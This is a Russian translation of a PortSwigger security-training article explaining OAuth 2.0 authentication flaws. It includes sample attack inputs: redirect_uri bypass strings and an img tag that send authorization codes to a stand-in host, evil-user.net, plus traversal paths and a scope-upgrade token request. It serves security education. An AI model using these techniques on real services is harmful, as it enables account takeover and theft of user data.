Уязвимости аутентификации OAuth 2.0

Просматривая веб-страницы, вы почти наверняка сталкивались с сайтами, которые позволяют вам войти в систему, используя свою учетную запись в социальной сети. Скорее всего, эта функция построена с использованием популярной платформы OAuth 2.0. OAuth 2.0 очень интересен для злоумышленников, потому что он чрезвычайно распространен и по своей природе подвержен ошибкам реализации. Это может привести к ряду уязвимостей, позволяющих злоумышленникам получать конфиденциальные пользовательские данные и потенциально полностью обходить аутентификацию.

Лаборатории

OAuth — это широко используемая структура авторизации, которая позволяет веб-сайтам и веб-приложениям запрашивать ограниченный доступ к учетной записи пользователя в другом приложении. Важно отметить, что OAuth позволяет пользователю предоставлять этот доступ, не раскрывая свои учетные данные для входа запрашивающему приложению. Это означает, что пользователи могут точно настроить, какими данными они хотят поделиться, вместо того, чтобы передавать полный контроль над своей учетной записью третьей стороне.

Базовый процесс OAuth широко используется для интеграции сторонних функций, требующих доступа к определенным данным из учетной записи пользователя. Например, приложение может использовать OAuth для запроса доступа к вашему списку контактов электронной почты, чтобы оно могло предложить людям связаться с ним. Однако тот же механизм также используется для предоставления сторонних услуг аутентификации, позволяя пользователям входить в систему с учетной записью, которая у них есть на другом веб-сайте.

Как работает OAuth 2.0?

OAuth 2.0 изначально разрабатывался как способ совместного доступа к определенным данным между приложениями. Он работает, определяя серию взаимодействий между тремя отдельными сторонами, а именно клиентским приложением, владельцем ресурса и поставщиком услуг OAuth.

• Клиентское приложение — веб-сайт или веб-приложение, которое хочет получить доступ к данным пользователя.
• Владелец ресурса — пользователь, к чьим данным клиентское приложение хочет получить доступ.
• Поставщик услуг OAuth — веб-сайт или приложение, которое контролирует данные пользователя и доступ к ним. Они поддерживают OAuth, предоставляя API для взаимодействия как с сервером авторизации, так и с сервером ресурсов.

Существует множество различных способов реализации фактического процесса OAuth. Они известны как «потоки» или «типы предоставления» OAuth. В этом разделе мы сосредоточимся на «коде авторизации» и «неявных» типах предоставления, поскольку они являются наиболее распространенными. Вообще говоря, оба этих типа грантов включают следующие этапы:

1. Клиентское приложение запрашивает доступ к подмножеству данных пользователя, указывая, какой тип гранта они хотят использовать и какой тип доступа им нужен.
2. Пользователю предлагается войти в службу OAuth и явным образом дать свое согласие на запрошенный доступ.
3. Клиентское приложение получает уникальный токен доступа, подтверждающий, что у него есть разрешение от пользователя на доступ к запрошенным данным. Как именно это происходит, существенно различается в зависимости от типа гранта.
4. Клиентское приложение использует этот токен доступа для выполнения вызовов API для получения соответствующих данных с сервера ресурсов.

Прежде чем узнать, как OAuth используется для аутентификации, важно понять основы этого базового процесса OAuth. Если вы совершенно не знакомы с OAuth, мы рекомендуем ознакомиться с деталями обоих типов грантов, которые мы собираемся рассмотреть, прежде чем читать дальше.

Хотя изначально OAuth не предназначался для этой цели, он также превратился в средство аутентификации пользователей. Например, вы, вероятно, знакомы с вариантом, который многие веб-сайты предоставляют для входа в систему, используя существующую учетную запись в социальной сети, вместо того, чтобы регистрироваться на соответствующем веб-сайте. Всякий раз, когда вы видите эту опцию, есть большая вероятность, что она построена на OAuth 2.0.

Для механизмов аутентификации OAuth основные потоки OAuth остаются в основном такими же; основное отличие заключается в том, как клиентское приложение использует полученные данные. С точки зрения конечного пользователя, результат проверки подлинности OAuth во многом напоминает систему единого входа (SSO) на основе SAML. В этих материалах мы сосредоточимся исключительно на уязвимостях в этом SSO-подобном сценарии использования.

Аутентификация OAuth обычно реализуется следующим образом:

1. Пользователь выбирает вариант входа в свою учетную запись в социальной сети. Затем клиентское приложение использует службу OAuth сайта социальной сети для запроса доступа к некоторым данным, которые оно может использовать для идентификации пользователя. Например, это может быть адрес электронной почты, зарегистрированный в их учетной записи.
2. После получения маркера доступа клиентское приложение запрашивает эти данные с сервера ресурсов, обычно с выделенной /userinfoконечной точки.
3. Получив данные, клиентское приложение использует их вместо имени пользователя для входа в систему. Токен доступа, полученный от сервера авторизации, часто используется вместо традиционного пароля.

Вы можете увидеть простой пример того, как это выглядит в следующей лабораторной работе. Просто заполните опцию «Войти через социальные сети» при проксировании трафика через Burp, а затем изучите серию взаимодействий OAuth в истории прокси. Вы можете войти в систему, используя учетные данные wiener:peter. Обратите внимание, что эта реализация преднамеренно уязвима — мы научим вас использовать это позже.

Как возникают уязвимости аутентификации OAuth?

Уязвимости аутентификации OAuth возникают отчасти из-за того, что спецификация OAuth относительно расплывчата и гибка по своей структуре. Несмотря на то, что для базовой функциональности каждого типа гранта требуется несколько обязательных компонентов, подавляющее большинство реализации является совершенно необязательным. Сюда входят многие параметры конфигурации, необходимые для обеспечения безопасности данных пользователей. Короче говоря, есть много возможностей для плохой практики.

Одной из других ключевых проблем с OAuth является общее отсутствие встроенных функций безопасности. Безопасность почти полностью зависит от разработчиков, использующих правильную комбинацию параметров конфигурации и реализующих свои собственные дополнительные меры безопасности, такие как надежная проверка ввода. Как вы, наверное, уже поняли, есть много вещей, которые нужно понять, и довольно легко ошибиться, если у вас нет опыта работы с OAuth.

В зависимости от типа гранта конфиденциальные данные также отправляются через браузер, что предоставляет злоумышленнику различные возможности для их перехвата.

Идентификация аутентификации OAuth

Распознать, когда приложение использует аутентификацию OAuth, относительно просто. Если вы видите возможность войти в систему, используя свою учетную запись с другого веб-сайта, это явный признак того, что используется OAuth.

Самый надежный способ определить аутентификацию OAuth — проксировать ваш трафик через Burp и проверять соответствующие HTTP-сообщения, когда вы используете этот вариант входа. Независимо от того, какой тип предоставления OAuth используется, первым запросом потока всегда будет запрос к /authorizationконечной точке, содержащий ряд параметров запроса, которые используются специально для OAuth. В частности, обратите внимание на параметры client_id, redirect_uriи response_type. Например, запрос на авторизацию обычно выглядит примерно так:

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

Разведка

Выполнение некоторой базовой разведки используемой службы OAuth может указать вам правильное направление, когда дело доходит до выявления уязвимостей.

Само собой разумеется, что вам следует изучить различные HTTP-взаимодействия, составляющие поток OAuth — мы рассмотрим некоторые конкретные моменты, на которые следует обратить внимание позже. Если используется внешняя служба OAuth, вы должны иметь возможность идентифицировать конкретного провайдера по имени хоста, на который отправляется запрос авторизации. Поскольку эти службы предоставляют общедоступный API, часто доступна подробная документация, в которой должна содержаться всякая полезная информация, например точные имена конечных точек и используемые параметры конфигурации.

Как только вы узнаете имя хоста сервера авторизации, вы всегда должны пытаться отправить GETзапрос на следующие стандартные конечные точки:

• /.well-known/oauth-authorization-server
• /.well-known/openid-configuration

Они часто возвращают файл конфигурации JSON, содержащий ключевую информацию, например сведения о дополнительных функциях, которые могут поддерживаться. Иногда это будет сообщать вам о более широкой поверхности атаки и поддерживаемых функциях, которые могут не упоминаться в документации.

Использование уязвимостей аутентификации OAuth

Уязвимости могут возникать в реализации OAuth клиентского приложения, а также в конфигурации самой службы OAuth. В этом разделе мы покажем вам, как использовать некоторые из наиболее распространенных уязвимостей в обоих этих контекстах.

• Уязвимости в клиентском приложении
  • Неправильная реализация неявного типа гранта LABS
  • Недостаточная защита от CSRF LABS
• Уязвимости в сервисе OAuth
  • Утечка кодов авторизации и токенов доступа LABS
  • Неправильная проверка области действия
  • Неподтвержденная регистрация пользователя

Уязвимости в клиентском приложении OAuth

Клиентские приложения часто используют надежную, проверенную в боях службу OAuth, которая хорошо защищена от широко известных эксплойтов. Однако их собственная сторона реализации может быть менее безопасной.

Как мы уже упоминали, спецификация OAuth определена относительно свободно. Особенно это касается реализации клиентским приложением. В потоке OAuth есть много движущихся частей с множеством необязательных параметров и настроек конфигурации для каждого типа гранта, что означает, что есть много возможностей для неправильных конфигураций.

Неправильная реализация неявного типа предоставления

Из-за опасностей, возникающих при отправке маркеров доступа через браузер, неявный тип предоставления в основном рекомендуется для одностраничных приложений. Однако он также часто используется в классических клиент-серверных веб-приложениях из-за его относительной простоты.

В этом потоке токен доступа отправляется из службы OAuth в клиентское приложение через браузер пользователя в виде фрагмента URL-адреса. Затем клиентское приложение обращается к токену с помощью JavaScript. Проблема в том, что если приложение хочет сохранить сеанс после того, как пользователь закроет страницу, ему необходимо где-то сохранить текущие пользовательские данные (обычно идентификатор пользователя и токен доступа).

Чтобы решить эту проблему, клиентское приложение часто отправляет эти данные на сервер в POSTзапросе, а затем назначает пользователю файл cookie сеанса, эффективно регистрируя его. Этот запрос примерно эквивалентен запросу на отправку формы, который может быть отправлен как часть классический логин на основе пароля. Однако в этом случае у сервера нет никаких секретов или паролей для сравнения с отправленными данными, что означает, что ему неявно доверяют.

В неявном потоке этот POSTзапрос предоставляется злоумышленникам через их браузер. В результате такое поведение может привести к серьезной уязвимости, если клиентское приложение не проверит должным образом токен доступа на соответствие другим данным в запросе. В этом случае злоумышленник может просто изменить параметры, отправляемые на сервер, чтобы выдать себя за любого пользователя.

Несовершенная защита от CSRF

Хотя многие компоненты потоков OAuth являются необязательными, некоторые из них настоятельно рекомендуются, если только нет веской причины не использовать их. Одним из таких примеров является stateпараметр.

В stateидеале параметр должен содержать значение, которое невозможно угадать, например хэш чего-то, связанного с сеансом пользователя, когда он впервые инициирует поток OAuth. Затем это значение передается туда и обратно между клиентским приложением и службой OAuth в виде токена CSRF для клиентского приложения. Поэтому, если вы заметили, что запрос на авторизацию не отправляет stateпараметр, это крайне интересно с точки зрения злоумышленника. Потенциально это означает, что они могут сами инициировать поток OAuth, прежде чем заставить браузер пользователя завершить его, подобно традиционной атаке CSRF . Это может иметь серьезные последствия в зависимости от того, как OAuth используется клиентским приложением.

Рассмотрим веб-сайт, который позволяет пользователям входить в систему либо с помощью классического механизма на основе пароля, либо путем привязки своей учетной записи к профилю в социальной сети с помощью OAuth. В этом случае, если приложение не может использовать stateпараметр, злоумышленник потенциально может захватить учетную запись пользователя-жертвы в клиентском приложении, привязав ее к своей учетной записи в социальной сети.

Обратите внимание, что если сайт позволяет пользователям входить в систему исключительно через OAuth, этот stateпараметр, возможно, менее важен. Тем не менее, неиспользование stateпараметра может по-прежнему позволить злоумышленникам создавать CSRF-атаки входа в систему, в результате чего пользователь обманным путем запрашивает вход в учетную запись злоумышленника.

Утечка кодов авторизации и токенов доступа

Возможно, самая печально известная уязвимость на основе OAuth — это когда конфигурация самой службы OAuth позволяет злоумышленникам красть коды авторизации или токены доступа, связанные с учетными записями других пользователей. Похитив действительный код или токен, злоумышленник может получить доступ к данным жертвы. В конечном итоге это может полностью скомпрометировать их учетную запись — злоумышленник потенциально может войти в систему как пользователь-жертва в любом клиентском приложении, зарегистрированном в этой службе OAuth.

В зависимости от типа гранта либо код, либо токен отправляется через браузер жертвы на /callbackконечную точку, указанную в redirect_uriпараметре запроса авторизации. Если службе OAuth не удается правильно проверить этот URI, злоумышленник может создать атаку, подобную CSRF, обманом заставив браузер жертвы инициировать поток OAuth, который отправит код или токен на контролируемый злоумышленником redirect_uri.

В случае потока кода авторизации злоумышленник потенциально может украсть код жертвы до того, как он будет использован. Затем они могут отправить этот код на законную /callbackконечную точку клиентского приложения (исходную redirect_uri), чтобы получить доступ к учетной записи пользователя. В этом сценарии злоумышленнику даже не нужно знать секрет клиента или результирующий токен доступа. Пока у жертвы есть действительный сеанс со службой OAuth, клиентское приложение просто завершит обмен кодом/токеном от имени злоумышленника, прежде чем войти в учетную запись жертвы.

Обратите внимание, что использование stateили nonceзащита не обязательно предотвращает эти атаки, поскольку злоумышленник может генерировать новые значения из своего собственного браузера.

Более безопасные серверы авторизации также потребуют redirect_uriотправки параметра при обмене кодом. Затем сервер может проверить, совпадает ли это с тем, что он получил в первоначальном запросе на авторизацию, и отклонить обмен, если нет. Поскольку это происходит в запросах между серверами через безопасный обратный канал, злоумышленник не может контролировать этот второй redirect_uriпараметр.

Неверная проверка redirect_uri

Из-за типов атак, наблюдавшихся в предыдущей лабораторной работе, рекомендуется, чтобы клиентские приложения предоставляли белый список своих подлинных URI обратного вызова при регистрации в службе OAuth. Таким образом, когда служба OAuth получает новый запрос, она может проверить redirect_uriпараметр по этому белому списку. В этом случае предоставление внешнего URI, скорее всего, приведет к ошибке. Тем не менее, все еще могут быть способы обойти эту проверку.

При аудите потока OAuth следует попробовать поэкспериментировать с redirect_uriпараметром, чтобы понять, как он проверяется. Например:

• Некоторые реализации позволяют использовать диапазон подкаталогов, проверяя только то, что строка начинается с правильной последовательности символов, т. е. утвержденного домена. Вам следует попробовать удалить или добавить произвольные пути, параметры запроса и фрагменты, чтобы увидеть, что вы можете изменить, не вызывая ошибки.
• Если вы можете добавить дополнительные значения к redirect_uriпараметру по умолчанию, вы сможете использовать несоответствия между синтаксическим анализом URI различными компонентами службы OAuth. Например, вы можете попробовать такие техники, как:https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/Если вы не знакомы с этими методами, мы рекомендуем прочитать наш материал о том, как обойти распространенные средства защиты SSRF и CORS .
• Время от времени вы можете сталкиваться с уязвимостями загрязнения параметров на стороне сервера. На всякий случай попробуйте отправить повторяющиеся redirect_uriпараметры следующим образом:https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net
• Некоторые серверы также уделяют особое localhostвнимание URI, поскольку они часто используются во время разработки. В некоторых случаях любой URI перенаправления, начинающийся с localhost, может быть случайно разрешен в производственной среде. Это может позволить вам обойти проверку, зарегистрировав доменное имя, такое как localhost.evil-user.net.

Важно отметить, что вы не должны ограничивать свое тестирование только redirect_uriизолированным исследованием параметра. В дикой природе вам часто придется экспериментировать с различными комбинациями изменений нескольких параметров. Иногда изменение одного параметра может повлиять на проверку других. Например, изменение response_modefrom queryна fragmentиногда может полностью изменить синтаксический анализ redirect_uri, позволяя вам отправлять URI, которые в противном случае были бы заблокированы. Аналогичным образом, если вы заметили, что web_messageрежим ответа поддерживается, это часто позволяет использовать более широкий диапазон поддоменов в домене redirect_uri.

Кража кодов и токенов доступа через прокси-страницу

В случае с более надежными целями вы можете обнаружить, что независимо от того, что вы пытаетесь сделать, вы не можете успешно отправить внешний домен в качестве домена redirect_uri. Однако это не значит, что пора сдаваться.

На этом этапе у вас должно быть относительно хорошее понимание того, какие части URI вы можете изменить. Ключевым моментом сейчас является использование этих знаний, чтобы попытаться получить доступ к более широкой поверхности атаки в самом клиентском приложении. Другими словами, попробуйте выяснить, можете ли вы изменить redirect_uriпараметр, чтобы он указывал на какие-либо другие страницы в домене из белого списка.

Попробуйте найти способы, которыми вы можете успешно получить доступ к различным поддоменам или путям. Например, URI по умолчанию часто будет находиться на пути, специфичном для OAuth, таком как /oauth/callback, который вряд ли будет иметь какие-либо интересные подкаталоги. Однако вы можете использовать приемы обхода каталога , чтобы указать любой произвольный путь в домене. Что-то вроде этого:

https://client-app.com/oauth/callback/../../example/path

Может интерпретироваться на серверной части как:

https://client-app.com/example/path

Как только вы определите, какие другие страницы вы можете установить в качестве URI перенаправления, вы должны проверить их на наличие дополнительных уязвимостей, которые вы потенциально можете использовать для утечки кода или токена. Для потока кода авторизации вам нужно найти уязвимость, которая дает вам доступ к параметрам запроса, тогда как для неявного типа предоставления вам нужно извлечь фрагмент URL.

Одной из самых полезных уязвимостей для этой цели является открытый редирект. Вы можете использовать это как прокси для перенаправления жертв вместе с их кодом или токеном в домен, контролируемый злоумышленниками, где вы можете разместить любой вредоносный скрипт, который вам нравится.

Обратите внимание, что для неявного типа гранта кража маркера доступа не просто позволяет вам войти в учетную запись жертвы в клиентском приложении. Поскольку весь неявный поток выполняется через браузер, вы также можете использовать токен для выполнения собственных вызовов API к серверу ресурсов службы OAuth. Это может позволить вам получать конфиденциальные пользовательские данные, к которым вы обычно не можете получить доступ из веб-интерфейса клиентского приложения.

Помимо открытых редиректов следует искать любые другие уязвимости, позволяющие извлечь код или токен и отправить его на внешний домен. Вот несколько хороших примеров:

• Опасный JavaScript, который обрабатывает параметры запроса и фрагменты URL-адресов
  . Например, небезопасные веб-скрипты обмена сообщениями могут отлично подойти для этого. В некоторых сценариях вам, возможно, придется определить более длинную цепочку гаджетов, которая позволит вам передать токен через ряд сценариев, прежде чем он в конечном итоге попадет на ваш внешний домен.
• Уязвимости XSS
  Хотя атаки XSS сами по себе могут иметь огромное влияние, обычно существует небольшой промежуток времени, в течение которого злоумышленник имеет доступ к сеансу пользователя, прежде чем он закроет вкладку или уйдет. Поскольку этотHTTPOnlyатрибут обычно используется для сеансовых файлов cookie, злоумышленник также часто не может получить к ним прямой доступ с помощью XSS. Однако, украв код или токен OAuth, злоумышленник может получить доступ к учетной записи пользователя в собственном браузере. Это дает им гораздо больше времени для изучения данных пользователя и выполнения вредоносных действий, что значительно увеличивает серьезность уязвимости XSS.
• Уязвимости HTML-инъекций
  В тех случаях, когда вы не можете внедрить JavaScript (например, из-за ограничений CSP или строгой фильтрации), вы все равно можете использовать простую HTML-инъекцию для кражи кодов авторизации. Если вы можете указать redirect_uriпараметр на страницу, на которую вы можете внедрить свой собственный HTML-контент, вы можете получить доступ к коду через Refererзаголовок. Например, рассмотрим следующий imgэлемент: <img src="evil-user.net">. При попытке получить это изображение некоторые браузеры (например, Firefox) будут отправлять полный URL-адрес в Refererзаголовке запроса, включая строку запроса.

Неправильная проверка области действия

В любом потоке OAuth пользователь должен одобрить запрошенный доступ на основе области, определенной в запросе авторизации. Полученный токен позволяет клиентскому приложению получать доступ только к той области, которая была утверждена пользователем. Но в некоторых случаях злоумышленник может «обновить» токен доступа (украденный или полученный с помощью вредоносного клиентского приложения) с дополнительными разрешениями из-за ошибочной проверки службой OAuth. Процесс для этого зависит от типа гранта.

Обновление области действия: поток кода авторизации

С типом предоставления кода авторизации данные пользователя запрашиваются и отправляются через безопасную связь между серверами, которую сторонний злоумышленник обычно не может манипулировать напрямую. Однако можно добиться того же результата, зарегистрировав собственное клиентское приложение в службе OAuth.

Например, предположим, что вредоносное клиентское приложение злоумышленника первоначально запросило доступ к адресу электронной почты пользователя, используя openid emailобласть действия. После того, как пользователь одобрит этот запрос, вредоносное клиентское приложение получает код авторизации. Поскольку злоумышленник контролирует свое клиентское приложение, он может добавить еще один scopeпараметр в запрос на обмен кодом/токеном, содержащий дополнительную profileобласть действия:

POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20 email%20profile

Если сервер не проверяет это на соответствие области действия из первоначального запроса авторизации, он иногда генерирует токен доступа, используя новую область действия, и отправляет его клиентскому приложению злоумышленника:

{
"access_token": "z0y9x8w7v6u5",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "openid email profile",
…
}

Затем злоумышленник может использовать свое приложение для выполнения необходимых вызовов API для доступа к данным профиля пользователя.

Обновление области действия: неявный поток

Для неявного типа предоставления токен доступа отправляется через браузер, что означает, что злоумышленник может украсть токены, связанные с невиновными клиентскими приложениями, и использовать их напрямую. После того, как они украли токен доступа, они могут отправить обычный запрос на основе браузера на /userinfoконечную точку службы OAuth, вручную добавив новый scopeпараметр в процессе.

В идеале служба OAuth должна сверять это scopeзначение с тем, которое использовалось при создании токена, но это не всегда так. Пока скорректированные разрешения не превышают уровень доступа, ранее предоставленный этому клиентскому приложению, злоумышленник потенциально может получить доступ к дополнительным данным, не требуя дополнительного утверждения от пользователя.

Неподтвержденная регистрация пользователя

При аутентификации пользователей через OAuth клиентское приложение делает неявное предположение, что информация, хранящаяся у поставщика OAuth, верна. Это может быть опасным предположением.

Некоторые веб-сайты, предоставляющие услугу OAuth, позволяют пользователям регистрировать учетную запись без проверки всех своих данных, включая в некоторых случаях адрес электронной почты. Злоумышленник может воспользоваться этим, зарегистрировав учетную запись у поставщика OAuth, используя те же данные, что и целевой пользователь, например известный адрес электронной почты. Затем клиентские приложения могут позволить злоумышленнику войти в систему в качестве жертвы через эту мошенническую учетную запись у поставщика OAuth.

Расширение OAuth с помощью OpenID Connect

При использовании для аутентификации OAuth часто дополняется уровнем OpenID Connect, который предоставляет некоторые дополнительные функции, связанные с идентификацией и аутентификацией пользователей. Подробное описание этих функций и некоторые другие лабораторные работы, связанные с уязвимостями, которые они могут создавать, см. в нашем разделе OpenID Connect.

Статья является переводом portswigger.net